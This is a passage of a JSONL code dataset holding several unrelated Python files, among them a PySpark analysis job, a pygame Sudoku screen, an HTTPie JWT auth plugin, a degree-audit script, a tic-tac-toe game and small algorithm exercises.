rbf(interval, p_t)\n return logit_T\n\n\ndef SS_ODT(dis_O, dis_D, lamda=0.5, pi_so=2, p_so=2, delta=0.5, pi_sd=2, p_sd=2):\n \"\"\"\n 空间相似度\n :parameter :dis_O float\n :parameter :dis_D float\n :return:\n \"\"\"\n # logit_O\n logit_O = logit(dis_O, pi_so, p_so)\n\n # logit_D\n logit_D = logit(dis_D, pi_sd, p_sd)\n\n return lamda * logit_O + delta * logit_D\n\n\ndef logit(x, pai, p):\n return np.exp(-pai * (x - p))/(1 + np.exp(-pai * (x - p)))\n\n\ndef rbf(x, sigma):\n return np.exp(- x ** 2 / (2 * sigma ** 2))\n\n\ndef distance_ODT(interval, interval_max, dis_o, dis_o_max, dis_d, dis_d_max):\n return interval / interval_max + 0.5 * dis_o / dis_o_max + 0.5 * dis_d / dis_d_max\n\n\n\nif __name__ == \"__main__\":\n print(np.exp(- 60 ** 2 / (2 * 18 ** 2))+SS_ODT(4.5, 4.5))","sub_path":"limiao/uic/common/distance.py","file_name":"distance.py","file_ext":"py","file_size_in_byte":3237,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"370468451","text":"#!/usr/bin/env python\n# coding: utf-8\n\nimport findspark\nfindspark.init('/home/jun3/Downloads/spark-2.4.3-bin-hadoop2.7/')\nimport pyspark\nfrom pyspark import SparkConf\nfrom pyspark import SparkContext\n\nimport configparser\nfrom datetime import datetime, timedelta\nimport os\nfrom pyspark.sql import SparkSession\nfrom pyspark.sql.functions import udf, col\n\nimport pandas as pd\nimport sys\n\ndef create_spark_session():\n \"\"\" \n Create a SparkSession to use Spark. I increase memory in memory settings as default memory settings are \n not sufficient for some processes. \n \"\"\"\n conf = SparkConf().set('spark.driver.memory', '6G') \\\n .set('spark.executor.memory', \"4G\")\n sc = SparkContext(conf=conf)\n spark = SparkSession(sc).builder \\\n .config(\"spark.jars.packages\", \"org.apache.hadoop:hadoop-aws:2.7.0\") \\\n .getOrCreate()\n return spark\n\ndef analyze_temperature_entries(spark, input_data, output_data, mon_yr, year_month):\n \"\"\"\n Great analytical tables from previosly created tables: \"i94port2.parquet\", \"USA_city_recent_average_monthly_temperatures.parquet/\" \n and f\"immigration_table_{mon_yr}.parquet\". {mon_yr} is extracted from execution_date corresponding a particular month of \n immigration_entry data.\n Params:\n spark: spark session created by create_spark_session()\n input_data: input data directory, specified inside BashOperator (input_data = sys.argv[1]).\n output_data: output data directory, specified inside BashOperator (output_data = sys.argv[2]).\n year_month: extracted from execution_date {{ ds }} of airflow (exe_date = sys.argv[3]).\n \"\"\"\n df_imm_04 = spark.read.parquet(input_data + f\"immigration_table_{mon_yr}.parquet\") \n\n # Study The Relationship Between Temperature and Port_entry\n df_i94port2 = spark.read.parquet(input_data + \"i94port2.parquet\")\n df_us_temp = spark.read.parquet(input_data + \"USA_city_recent_average_monthly_temperatures.parquet/\")\n\n # Join Immigration and i94 entry port tables\n df_imm_i94port= df_imm_04.join(df_i94port2, df_imm_04.i94port_city_code==df_i94port2.i94port_code, \"inner\")\n \n # Select columns \n df_imm_i94port = df_imm_i94port.select(\"admission_number\",\"i94port_city_code\", \"visa_category_id\", \"entry_year\",\n \"entry_month\", \"destination_state_code\", \"city\", \"state_code\")\n # lower cases of city column for joining tables\n lower_case_udf=udf(lambda x: x.lower())\n df_us_temp = df_us_temp.withColumn(\"city\", lower_case_udf(\"city\"))\n \n # joining Imm_i94port table with temperature table on city, state_code (2 letters), and month \n df_imm_i94port_temp = df_imm_i94port.join(df_us_temp, (df_imm_i94port.city == df_us_temp.city) & \n (df_imm_i94port.state_code == df_us_temp.state_id) &\n (df_imm_i94port.entry_month == df_us_temp.month))\n\n\n df_imm_i94port_temp.count()/df_imm_i94port.count() # recoved 93.7% data after the table joining\n \n # Groupby by entry \"i94port_city_code\" columns and other columns (\"city\", \"state_code\", \"average_temperature\", \n # \"entry_month\" are the same for the smae i94port_city_code) and count\n gb_entry_cities = df_imm_i94port_temp.groupBy([\"i94port_city_code\", df_imm_i94port.city, \"state_code\", \n \"average_temperature\", \"entry_month\"]).count()\n\n # Sorting the groupby dataframe in \"count\" descending order \n gb_entry_cities = gb_entry_cities.sort(\"count\", ascending=False)\n \n # Change to pandas df and export as a csv file with timestamp {year_month}\n gb_entry_cities.toPandas().to_csv(output_data + f\"{year_month}_i94port_entry.csv\")\n print(f\"export analytical {year_month}_i94port_entry_table\")\n\n # gb_entry_cities.toPandas().to_csv(output_data + f\"{year_month}_i94port_entry.csv\")\n\nif __name__ == \"__main__\":\n # Getting input_data, output_data, execution_date from Bash commmand inside BashOperator\n input_data = sys.argv[1]\n output_data = sys.argv[2] \n exe_date = sys.argv[3]\n \n #exe_date = \"2016-04-01\" ### for testing purpose without airflow executio_date {{ ds }}\n mon_yr = datetime.strptime(exe_date, '%Y-%m-%d').strftime('%b%y').lower()\n year_month = exe_date[0:7]\n \n # create spark session\n spark = create_spark_session() \n # run the python script\n analyze_temperature_entries(spark, input_data, output_data, mon_yr, year_month)","sub_path":"src/analytical_table.py","file_name":"analytical_table.py","file_ext":"py","file_size_in_byte":4538,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"33803192","text":"import pygame\r\nimport Print\r\nimport Results\r\n\r\nWHITHE = (255, 255, 255)\r\nBACKGROUND = (75, 75, 75)\r\n\r\ndef format_tempo(tempo):\r\n minutos, seguntos = divmod(tempo, 60)\r\n horas, minutos = divmod(minutos, 24)\r\n text = str(int(horas)) + ':' + str(int(minutos)) + \":\" + str(int(seguntos)) + \"s\"\r\n return text\r\n\r\n\r\ndef print_tempos(screen, best_results, cor_letras):\r\n y = 90\r\n x = 125\r\n x1 = 220\r\n x2 = 525\r\n altura = 60\r\n my_font = pygame.font.SysFont(\"monospace\", 60)\r\n cc = 1\r\n for tempo, skill in best_results:\r\n label = my_font.render(str(cc), 1, cor_letras)\r\n screen.blit(label, (x, y))\r\n label = my_font.render(format_tempo(tempo), 1, cor_letras)\r\n screen.blit(label, (x1, y))\r\n label = my_font.render(str(skill), 1, cor_letras)\r\n screen.blit(label, (x2, y))\r\n y += altura\r\n cc += 1\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\ndef resultados(screen, botoes, ecra, base, alternativo, switch_white, best_results, cor_letras):\r\n # Coordenadas iniciais botoes\r\n x = 215\r\n y = 750\r\n largura = 200\r\n altura = 100\r\n gap = 50\r\n\r\n # Imagens\r\n if switch_white:\r\n clean = pygame.image.load('Images/text/clean_b.png')\r\n back = pygame.image.load('Images/text/back_b.png')\r\n img = pygame.image.load('Images/best_games_b.png')\r\n else:\r\n clean = pygame.image.load('Images/text/clean_w.png')\r\n back = pygame.image.load('Images/text/back_w.png')\r\n img = pygame.image.load('Images/best_games_w.png')\r\n\r\n screen.blit(img, (0, 0))\r\n\r\n # Coordenadas calculadas\r\n x1 = Print.calcula_inicio(1, x, largura, gap)\r\n\r\n lista = [[(x, y), base, clean],\r\n [(x1, y), base, back]]\r\n\r\n Print.deteta_rato(lista, botoes, alternativo, altura, largura)\r\n\r\n if botoes[0]:\r\n best_results = []\r\n Results.gravar_resultados(best_results)\r\n botoes[0] = False\r\n\r\n if botoes[1]:\r\n ecra = 1\r\n botoes[1] = False\r\n\r\n print_tempos(screen, best_results, cor_letras)\r\n Print.desenha_botoes(screen, lista)\r\n\r\n return ecra, best_results\r\n","sub_path":"Pyton/Sudoku/InterfaceResultados.py","file_name":"InterfaceResultados.py","file_ext":"py","file_size_in_byte":2095,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"616542972","text":"from usaspending_api.financial_activities.models import FinancialAccountsByProgramActivityObjectClass\nfrom rest_framework.response import Response\nfrom usaspending_api.accounts.models import FederalAccount, TreasuryAppropriationAccount\nfrom rest_framework.views import APIView\n\n\nclass ObjectClassFederalAccountsViewSet(APIView):\n \"\"\"Returns financial spending data by object class.\"\"\"\n\n def get(self, request, pk, format=None):\n \"\"\"Return the view's queryset.\"\"\"\n # create response\n response = {'results': {}}\n\n # get federal account id from url\n fa_id = int(pk)\n\n # get FA row\n fa = FederalAccount.objects.filter(id=fa_id).first()\n if fa is None:\n return Response(response)\n\n # get tas related to FA\n tas_ids = TreasuryAppropriationAccount.objects.filter(federal_account=fa) \\\n .values_list('treasury_account_identifier', flat=True)\n\n # get fin based on tas, select oc, make distinct values\n financial_account_queryset = \\\n FinancialAccountsByProgramActivityObjectClass.objects.filter(treasury_account__in=tas_ids) \\\n .select_related('object_class').distinct('object_class')\n\n # Retrieve only unique major class ids and names\n major_classes = set([(obj.object_class.major_object_class, obj.object_class.major_object_class_name)\n for obj in financial_account_queryset])\n result = [\n {\n 'id': maj[0],\n 'name': maj[1],\n 'minor_object_class':\n [\n {'id': obj[0], 'name': obj[1]}\n for obj in set([(oc.object_class.object_class, oc.object_class.object_class_name)\n for oc in financial_account_queryset\n if oc.object_class.major_object_class == maj[0]])\n ]\n }\n for maj in major_classes\n ]\n return Response({'results': result})\n","sub_path":"usaspending_api/accounts/views/federal_accounts_v2.py","file_name":"federal_accounts_v2.py","file_ext":"py","file_size_in_byte":2057,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"333287899","text":"#changes from number month to word month\ndef calculateMonth(month):\n months = ['','january','february','march','april','may','june','july',\n 'august','september','october','november','december']\n strMonth = months[month]\n return strMonth\n \n#change 24-hour time to 12-hour time\ndef calculateTime(hour,minute):\n if hour > 12:\n time = 'PM'\n else:\n time = 'AM'\n hour = hour%12\n if hour == 0:\n hour = 12\n if minute < 10:\n minute = \"0\"+str(minute)\n return hour, minute, time\n\n\n","sub_path":"times.py","file_name":"times.py","file_ext":"py","file_size_in_byte":532,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"601200382","text":"# uncompyle6 version 3.7.4\n# Python bytecode 2.6 (62161)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: build/bdist.linux-i686/egg/coils/core/omphalos/render_account.py\n# Compiled at: 2012-10-12 07:02:39\nfrom render_object import *\nfrom render_contact import *\nfrom render_timezone import *\n\ndef build_calendar_panel(defaults, ctx):\n ids = []\n for account in defaults.get('scheduler_panel_accounts', []):\n ids.append(int(account))\n\n for contact in defaults.get('scheduler_panel_persons', []):\n ids.append(int(contact))\n\n for team in defaults.get('scheduler_panel_teams', []):\n ids.append(int(team))\n\n if 'scheduler_panel_resourceNames' in defaults:\n resources = ctx.run_command('resource::get', names=defaults['scheduler_panel_resourceNames'])\n if resources is not None:\n for resource in resources:\n ids.append(resource.object_id)\n\n return ids\n\n\ndef render_account(entity, defaults, detail, ctx, favorite_ids=[]):\n if detail & 256:\n a = render_contact(entity, detail, ctx, favorite_ids=favorite_ids)\n else:\n a = {'objectId': entity.object_id, 'entityName': 'Account', \n 'version': entity.version, \n 'login': entity.login}\n if detail & 2:\n a['_OBJECTLINKS'] = render_object_links(entity, ctx)\n if detail & 16:\n a['_PROPERTIES'] = render_object_properties(entity, ctx)\n if 'timezone' in defaults:\n tz = render_timezone(defaults['timezone'], ctx)\n is_tz_set = 1\n else:\n tz = render_timezone('GMT', ctx)\n is_tz_set = 0\n if defaults.has_key('scheduler_ccForNotificationMails'):\n cc = defaults['scheduler_ccForNotificationMails']\n else:\n cc = None\n a['_DEFAULTS'] = {'entityName': 'defaults', 'accountObjectId': entity.object_id, 'calendarPanelObjectIds': build_calendar_panel(defaults, ctx), \n 'appointmentReadAccessTeam': 0, \n 'appointmentWriteAccess': [], 'notificationCC': as_string(cc), \n 'secondsFromGMT': as_integer(tz['offsetFromGMT']), \n 'isDST': as_integer(tz['isCurrentlyDST']), \n 'timeZone': as_string(tz['abbreviation']), \n 'timeZoneName': as_string(tz['description']), \n 'isTimeZoneSet': as_integer(is_tz_set)}\n return a","sub_path":"pycfiles/OpenGroupware-0.1.48-py2.6/render_account.py","file_name":"render_account.py","file_ext":"py","file_size_in_byte":2340,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"329781234","text":"# https://projecteuler.net/problem=76\n# use memoization as described in the pdf from p031\n# this problem can be solved slightly faster using numpy for the matrix\nfrom time import time\nfrom math import floor\nT = time()\n\nn = 100\nmemo = [[0 for i in range(n)] for j in range(n)]\n\n\ndef w(t, v):\n if t == 0 or v == 1:\n return 1\n elif memo[t-1][v-1]:\n return memo[t-1][v-1]\n else:\n result = 0\n for i in range(floor(t/v)+1):\n result += w(t-i*v, v-1)\n\n memo[t-1][v-1] = result\n return result\n\nprint(w(n, n-1))\nprint(\"time elapsed:\", time() - T)\n","sub_path":"076.py","file_name":"076.py","file_ext":"py","file_size_in_byte":599,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"653837091","text":"from Degree_Applicable_Electives import DegreeApplicableUnits\nfrom Degree_Completion_Report import DegreeCompletionReport\nfrom GE_Progress import GEProgress\nfrom GE_Requirements import GeRequirements\n# from Major_Progress import MajorProgress\n# from Major_Requirements import MajorRequirements\nfrom Student_Info import StudentInfo\n# from Major_Courses_Report import MajorCompletionReport\nfrom GE_Courses_Report import GECompletionReport\n# from main import enrollment_history\n\n\ndef planc_processing(student_id, courses, major_name, plan):\n planc_ge_requirements = {'Comp': 0, 'Crit_Think': 0, 'Oral_Comm': 0, 'Math': 0, 'Arts': 0, 'Hum': 0, 'Arts_Hum': 0,\n 'Soc_Behav1': 0, 'Soc_Behav2': 0, 'Soc_Behav3': 0, 'Phys_Sci': 0, 'Bio_Sci': 0, 'Sci_Labs': 0}\n\n student = StudentInfo(student_id, courses)\n student.eligible_course_list()\n ge_requirements = GeRequirements(student.degree_applicable_dict, ge_plan='PlanC_GE.csv')\n ge_dataframe = ge_requirements.dataframe()\n ge_requirements.ge_courses_completed('Comp', ge_dataframe=ge_dataframe)\n ge_requirements.ge_courses_completed('Crit_Think', ge_dataframe=ge_dataframe)\n ge_requirements.ge_courses_completed('Oral_Comm', ge_dataframe=ge_dataframe)\n ge_requirements.ge_courses_completed('Math', ge_dataframe=ge_dataframe)\n ge_requirements.ge_courses_completed('Arts', ge_dataframe=ge_dataframe)\n ge_requirements.ge_courses_completed('Hum', ge_dataframe=ge_dataframe)\n ge_requirements.ge_courses_completed('Arts_Hum', ge_dataframe=ge_dataframe)\n ge_requirements.soc_behav_courses('Soc_Behav1', ge_dataframe=ge_dataframe)\n ge_requirements.soc_behav_courses('Soc_Behav2', ge_dataframe=ge_dataframe)\n ge_requirements.soc_behav_courses('Soc_Behav3', ge_dataframe=ge_dataframe)\n ge_requirements.ge_courses_completed('Phys_Sci', ge_dataframe=ge_dataframe)\n ge_requirements.ge_courses_completed('Bio_Sci', ge_dataframe=ge_dataframe)\n ge_requirements.ge_courses_completed('Sci_Labs', ge_dataframe=ge_dataframe)\n\n\n ge_progress = GEProgress(ge_requirements.completed_ge_courses, ge_requirements.completed_ge_units,\n student_id, ge_plan_requirements=planc_ge_requirements)\n missing_ge_courses, completed_ge_courses, completed_ge_units = ge_progress.ge_requirements_completed()\n\n ge_report = GECompletionReport(student_id, completed_ge_courses=completed_ge_courses,\n missing_ge_courses=missing_ge_courses, completed_ge_units=completed_ge_units, plan=plan)\n GE_Progress_df, length = ge_report.ge_completion()\n ge_report.unused_courses(length=length, ge_courses=ge_requirements.completed_ge_courses,\n student_course_list=student.degree_applicable_dict)\n # major = MajorRequirements(revised_course_list=student.degree_applicable_dict,\n # completed_ge_courses=ge_requirements.completed_ge_courses,\n # major_requirements=major_course_requirements,\n # major_name=major_name)\n\n\n # missing_courses_dict = major_progress.major_num_of_courses()\n # missing_units_dict = major_progress.major_num_of_units()\n\n # majors_report = MajorCompletionReport(student_id=student_id, major=major_name, missing_courses_dict=missing_courses_dict,\n # missing_units_dict=missing_units_dict, major_course_dict=major.major_course_dict,\n # major_units_dict=major.area_units_dict,\n # major_units_list=major.major_units_list,\n # dataframe=GE_Progress_df)\n # majors_report.major_completion()\n # degree_app = DegreeApplicableUnits(student_id=student_id,\n # degree_applicable_dict=student.degree_applicable_dict,\n # major_courses_list=major.major_courses_list,\n # completed_ge_courses=ge_requirements.completed_ge_courses,\n # completed_ge_units=ge_requirements.completed_ge_units,\n # major_units_list=major.major_units_list)\n # elective_units, elective_courses, elective_dict = degree_app.elective_courses()\n\n degree_completion = DegreeCompletionReport(\n completed_ge_courses=ge_requirements.completed_ge_courses,\n completed_ge_units=ge_requirements.completed_ge_units,\n student_id=student_id,\n student_major=major_name,\n missing_ge=missing_ge_courses)\n\n\n # length, missing_major_courses = degree_completion.degree_completion()\n # length = degree_completion.degree_status(length=length, missing_major_courses=missing_major_courses)\n # degree_completion.unused_courses(ge_courses=ge_requirements.completed_ge_courses,\n # student_course_list=student.degree_applicable_dict)\n\n\ndef sorting_PlanC_majors(enrollment_history, major_name, plan):\n student_id_list = []\n\n for i in range(len(enrollment_history)):\n \"\"\"This for loop creates a list of ids for each major identified in major name. If the id is not in the list\n and the major listed for the student in the dataframe matches the major in major_name, the the id is included\n in the list.\"\"\"\n if enrollment_history.loc[i, \"ID\"] not in student_id_list:\n # print('major in sorting majors', major_name)\n if enrollment_history.loc[i, \"Major\"] == major_name:\n student_id_list.append(enrollment_history.loc[i, \"ID\"])\n\n for student_id in student_id_list:\n \"\"\"This for loop takes the list of students with a particular major and runs it through the AAT program.\n \"\"\"\n print(major_name)\n planc_processing(student_id=student_id, courses=enrollment_history, major_name=major_name, plan=plan)","sub_path":"PlanC_Process.py","file_name":"PlanC_Process.py","file_ext":"py","file_size_in_byte":5968,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"364462068","text":"from board import Board\n\n\nclass InvalidPosition(Exception):\n \"\"\"\n Represents an exception when user gives a number too large or less than\n or equal to 0 for any of position integers\n \"\"\"\n pass\n\n\nclass OccupiedPosition(Exception):\n \"\"\"\n Represents an exception when user gives a position that is already occupied\n \"\"\"\n pass\n\n\ndef input_pos(board):\n # input a valid position\n pos = ''\n while not pos:\n try:\n pos = input(\"Input position (for example, \\'3 1\\') \")\n pos = (int(pos.split()[0]) - 1, int(pos.split()[1]) - 1)\n if pos[0] > 2 or pos[0] < 0 or pos[1] > 2 or pos[1] < 0:\n pos = ''\n raise InvalidPosition\n if pos not in board.free_positions():\n raise OccupiedPosition\n\n except InvalidPosition:\n pos = ''\n print(\"The position integers must be in range from 1 to 3\")\n except OccupiedPosition:\n pos = ''\n print(\"You have entered a position that is already occupied\")\n except ValueError:\n pos = ''\n print(\"The position must be two integers separated by a comma\")\n\n return pos\n\n\ndef main():\n side = input(\"Do you want to make the first move? (y for yes) \")\n b = Board(lastsign=False)\n\n if side == 'y':\n b.make_move(input_pos(b))\n print(b)\n print('---')\n else:\n b.lastsign = not b.lastsign\n\n while True:\n b.lastsign = not b.lastsign\n b.choose_way()\n print(b)\n print('---')\n if b.check() is not None:\n break\n b.make_move(input_pos(b))\n print(b)\n print('---')\n if b.free_positions() == []:\n break\n if b.check() is not None:\n break\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":1835,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"63801487","text":"# -*- coding: utf-8 -*-\nimport lightkurve as lk\nfrom chronos import ShortCadence, LongCadence\n\nTICID = 460205581\nSECTOR = 10\nCUTOUT_SIZE = (15, 15)\nQUALITY_BITMASK = \"default\"\n\n\ndef test_sc_pipeline():\n \"\"\"\n \"\"\"\n sc = ShortCadence(\n ticid=TICID, sap_mask=\"pipeline\", quality_bitmask=QUALITY_BITMASK\n )\n _ = sc.get_lc()\n assert isinstance(sc.lc_pdcsap, lk.LightCurve)\n assert isinstance(sc.lc_sap, lk.LightCurve)\n\n\ndef test_sc_square():\n \"\"\"\n \"\"\"\n sc = ShortCadence(\n ticid=TICID,\n sap_mask=\"square\",\n aper_radius=1,\n threshold_sigma=5,\n percentile=95,\n quality_bitmask=QUALITY_BITMASK,\n )\n _ = sc.make_custom_lc()\n assert isinstance(sc.lc_custom, lk.LightCurve)\n # assert sc.sap_mask == \"square\"\n\n\ndef test_sc_round():\n \"\"\"\n \"\"\"\n sc = ShortCadence(\n ticid=TICID,\n sap_mask=\"round\",\n aper_radius=1,\n quality_bitmask=QUALITY_BITMASK,\n )\n _ = sc.make_custom_lc()\n assert isinstance(sc.lc_custom, lk.LightCurve)\n # assert sc.sap_mask == \"round\"\n\n\ndef test_sc_threshold():\n \"\"\"\n \"\"\"\n sc = ShortCadence(\n ticid=TICID,\n sap_mask=\"threshold\",\n threshold_sigma=5,\n quality_bitmask=QUALITY_BITMASK,\n )\n _ = sc.make_custom_lc()\n assert isinstance(sc.lc_custom, lk.LightCurve)\n # assert sc.sap_mask == \"threshold\"\n\n\ndef test_sc_percentile():\n \"\"\"\n \"\"\"\n sc = ShortCadence(\n ticid=TICID,\n sap_mask=\"percentile\",\n percentile=90,\n quality_bitmask=QUALITY_BITMASK,\n )\n _ = sc.make_custom_lc()\n assert isinstance(sc.lc_custom, lk.LightCurve)\n # assert sc.sap_mask == \"percentile\"\n\n\ndef test_sc_triceratops():\n \"\"\"\n \"\"\"\n sc = ShortCadence(ticid=TICID, calc_fpp=True)\n # df = sc.get_NEB_depths()\n # df = sc.get_fpp(flat=flat, plot=False)\n assert sc.triceratops is not None\n\n\ndef test_lc():\n \"\"\"\n \"\"\"\n lc = LongCadence(\n ticid=TICID,\n sap_mask=\"square\",\n aper_radius=1,\n cutout_size=CUTOUT_SIZE,\n quality_bitmask=QUALITY_BITMASK,\n )\n _ = lc.make_custom_lc()\n assert isinstance(lc.lc_custom, lk.LightCurve)\n\n\ndef test_lc_triceratops():\n \"\"\"\n \"\"\"\n lc = LongCadence(ticid=TICID, calc_fpp=True)\n # df = sc.get_NEB_depths()\n # df = sc.get_fpp(flat=flat, plot=False)\n assert lc.triceratops is not None\n","sub_path":"build/bdist.win-amd64/egg/tests/test_lightcurve.py","file_name":"test_lightcurve.py","file_ext":"py","file_size_in_byte":2402,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"173980305","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Sep 20 01:35:38 2020\n\n@author: zhengyi\n\nhttps://www.hackerrank.com/challenges/binary-search-tree-insertion/problem\n\"\"\"\n\n\nclass Node:\n def __init__(self, info):\n self.info = info\n self.left = None\n self.right = None\n self.level = None\n\n def __str__(self):\n return str(self.info)\n\n\ndef preOrder(root):\n if root == None:\n return\n print(root.info, end=\" \")\n preOrder(root.left)\n preOrder(root.right)\n\n\nclass BinarySearchTree:\n def __init__(self):\n self.root = None\n\n def insert(self, val):\n new = Node(val)\n\n if self.root is None:\n self.root = new\n else:\n node = self.root\n while True:\n if val < node.info:\n if node.left is None:\n node.left = new\n break\n else:\n node = node.left\n elif val > node.info:\n if node.right is None:\n node.right = new\n break\n else:\n node = node.right\n else:\n break\n\n return self.root\n","sub_path":"Exercises/6.1-binary-search-tree-insertion.py","file_name":"6.1-binary-search-tree-insertion.py","file_ext":"py","file_size_in_byte":1284,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"357831985","text":"\"\"\"\nASAP Auth plugin for HTTPie.\n\"\"\"\nfrom __future__ import print_function\n\nimport json\nimport sys\n\nfrom collections import namedtuple\nimport atlassian_jwt_auth\n\nfrom httpie import ExitStatus\nfrom httpie.plugins import AuthPlugin\n\n\n__version__ = '0.0.5'\n__author__ = 'Jason Friedland'\n__licence__ = 'MIT'\n\n\nclass AsapAuth:\n \"\"\"\n Implements ASAP Auth.\n \"\"\"\n AsapConfig = namedtuple('AsapConfig', ['iss', 'kid', 'aud', 'sub', 'private_key'])\n\n def __init__(self, asap_config_file):\n asap_config = self.parse_config(asap_config_file)\n self.iss = asap_config.iss\n self.kid = asap_config.kid\n self.aud = asap_config.aud\n self.sub = asap_config.sub\n self.private_key = asap_config.private_key\n\n def __call__(self, request):\n kwargs = {'additional_claims': {}}\n if self.sub is not None:\n kwargs['additional_claims']['sub'] = self.sub\n signer = atlassian_jwt_auth.create_signer(self.iss, self.kid, self.private_key)\n token = signer.generate_jwt(self.aud, **kwargs)\n\n request.headers['Authorization'] = 'Bearer {}'.format(token.decode('utf-8'))\n\n return request\n\n @staticmethod\n def parse_config(asap_config_file):\n \"\"\"\n Parse ``asap_config_file`` JSON and return the config required\n to make a valid ASAP/JWT request.\n \"\"\"\n try:\n with open(asap_config_file) as f:\n config = json.load(f)\n except IOError:\n print('file not found: {}'.format(asap_config_file), file=sys.stderr)\n sys.exit(ExitStatus.PLUGIN_ERROR)\n except ValueError:\n print('invalid JSON config: {}'.format(asap_config_file), file=sys.stderr)\n sys.exit(ExitStatus.PLUGIN_ERROR)\n\n try:\n asap_config = AsapAuth.AsapConfig(\n # Required:\n iss=config['issuer'], aud=config['audience'], kid=config['kid'],\n private_key=config['privateKey'],\n # Optional:\n sub=config.get('sub')\n )\n except (ValueError, AttributeError, KeyError):\n print('malformed JSON config: {}'.format(asap_config_file), file=sys.stderr)\n sys.exit(ExitStatus.PLUGIN_ERROR)\n\n return asap_config\n\n\nclass AsapAuthPlugin(AuthPlugin):\n \"\"\"\n ASAP Auth plugin for HTTPie.\n \"\"\"\n name = 'ASAP Auth'\n auth_type = 'asap'\n description = 'See: https://s2sauth.bitbucket.io/spec/ for details.'\n\n # Require but don't parse auth\n auth_require = True\n auth_parse = False\n prompt_password = False\n\n def get_auth(self, username=None, password=None):\n \"\"\"\n Get ASAP Auth.\n\n NB. the --auth, -a option is used as the file path to the ASAP config, and\n is accessible in self.raw_auth.\n \"\"\"\n return AsapAuth(self.raw_auth)\n","sub_path":"httpie_asap_auth.py","file_name":"httpie_asap_auth.py","file_ext":"py","file_size_in_byte":2873,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"511890887","text":"import pymysql\n\nclass OnlineLearningModel(object):\n\n def connector(self):\n connect = pymysql.connect('localhost', 'root', '', 'mvcdb')\n return connect\n\n def fetchDataSubjectAndLecturer(self):\n connect = self.connector()\n with connect:\n cursor = connect.cursor()\n cursor.execute(\"\"\"SELECT SID, subjects.SubjectName, lecturer.Firstname , lecturer.Lastname \n FROM subjects INNER JOIN lecturer ON subjects.TID = lecturer.TID \"\"\")\n rows = cursor.fetchall()\n return rows\n\n\n def fetchCountSubjects(self):\n connect = self.connector()\n with connect:\n cursor = connect.cursor()\n cursor.execute(\"\"\"SELECT lecturer.Firstname , lecturer.Lastname , count(*) as count\n FROM subjects INNER JOIN lecturer ON subjects.TID = lecturer.TID\n group by lecturer.TID \"\"\")\n rows = cursor.fetchall()\n return rows\n\n def fetchSortSatisfactionScore(self):\n connect = self.connector()\n with connect:\n cursor = connect.cursor()\n cursor.execute(\"\"\"SELECT subjects.SubjectName , platforms.SatisfactionScoree\n FROM subjects INNER JOIN platforms ON subjects.PID = platforms.PID\n Order by platforms.SatisfactionScoree DESC\"\"\")\n rows = cursor.fetchall()\n return rows\n","sub_path":"OnlineLearningModel.py","file_name":"OnlineLearningModel.py","file_ext":"py","file_size_in_byte":1434,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"286548090","text":"# Link: https://www.hackerrank.com/contests/vm-code-question-bank-python/challenges/triangles-change-size\n\n# Drawing triangles using pen, paper and ruler is too mainstream.\n# As coders, we like to step it up a notch so that's exactly what we shall do today.\n#\n# You are to write a program that reads in a random positive integer that is greater than 3,\n# and then prints a pattern of asterisks forming a hollow triangle.\n\n# INPUT FORMAT\n# 4\n\n# OUTPUT FORMAT\n# * ** * *\n\n# EXAMPLE\n# In:\n# 5\n\n# Out:\n# *\n# **\n# * *\n# * *\n# *****\n\n\ndef drawTriangle(firstRun = True):\n if firstRun:\n print(\"*\")\n\n for i in range(height-2):\n print(\"*\", \"*\", sep=' '*i)\n\n print(\"*\"*height)\n\n\nheight = int(input())\ndrawTriangle(height)\n\n\n","sub_path":"Solved/triangleSizes.py","file_name":"triangleSizes.py","file_ext":"py","file_size_in_byte":737,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"234664860","text":"#!/usr/bin/python\n\n\"\"\"\nInstall SMI.\n\n\"\"\"\n\nVERSION = \"0.9\"\n\nfrom distutils.core import setup, Extension\n\n_libsmi = Extension(\"_libsmi\", [\"libsmi_wrap.c\"], libraries=[\"smi\"])\n\nsetup (name = \"libsmi\",\n version = VERSION,\n description = \"libsmi.py modules for reading SMI files using libsmi.\",\n author = \"Keith Dart\",\n author_email = \"kdart@kdart.com\",\n ext_modules = [_libsmi],\n py_modules = [\"libsmi\"]\n )\n\n\n","sub_path":"external/pyNMS/src/SMI/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":471,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"256842810","text":"import matplotlib.pyplot as plt\nimport numpy as np\n\n\ndef visualize(x, y, z, C, T, A):\n fig = plt.figure()\n\n ax = plt.axes(projection='3d')\n\n ax.scatter3D(x, y, z, c=C, cmap='Purples')\n\n ax.set_xlabel('x')\n ax.set_ylabel('y')\n ax.set_zlabel('z')\n ax.set_title(T)\n\n if (A != -1): ax.view_init(azim=A)\n\n plt.show()\n # plt.savefig(T+\"\"+str(A))\n\n\ndef 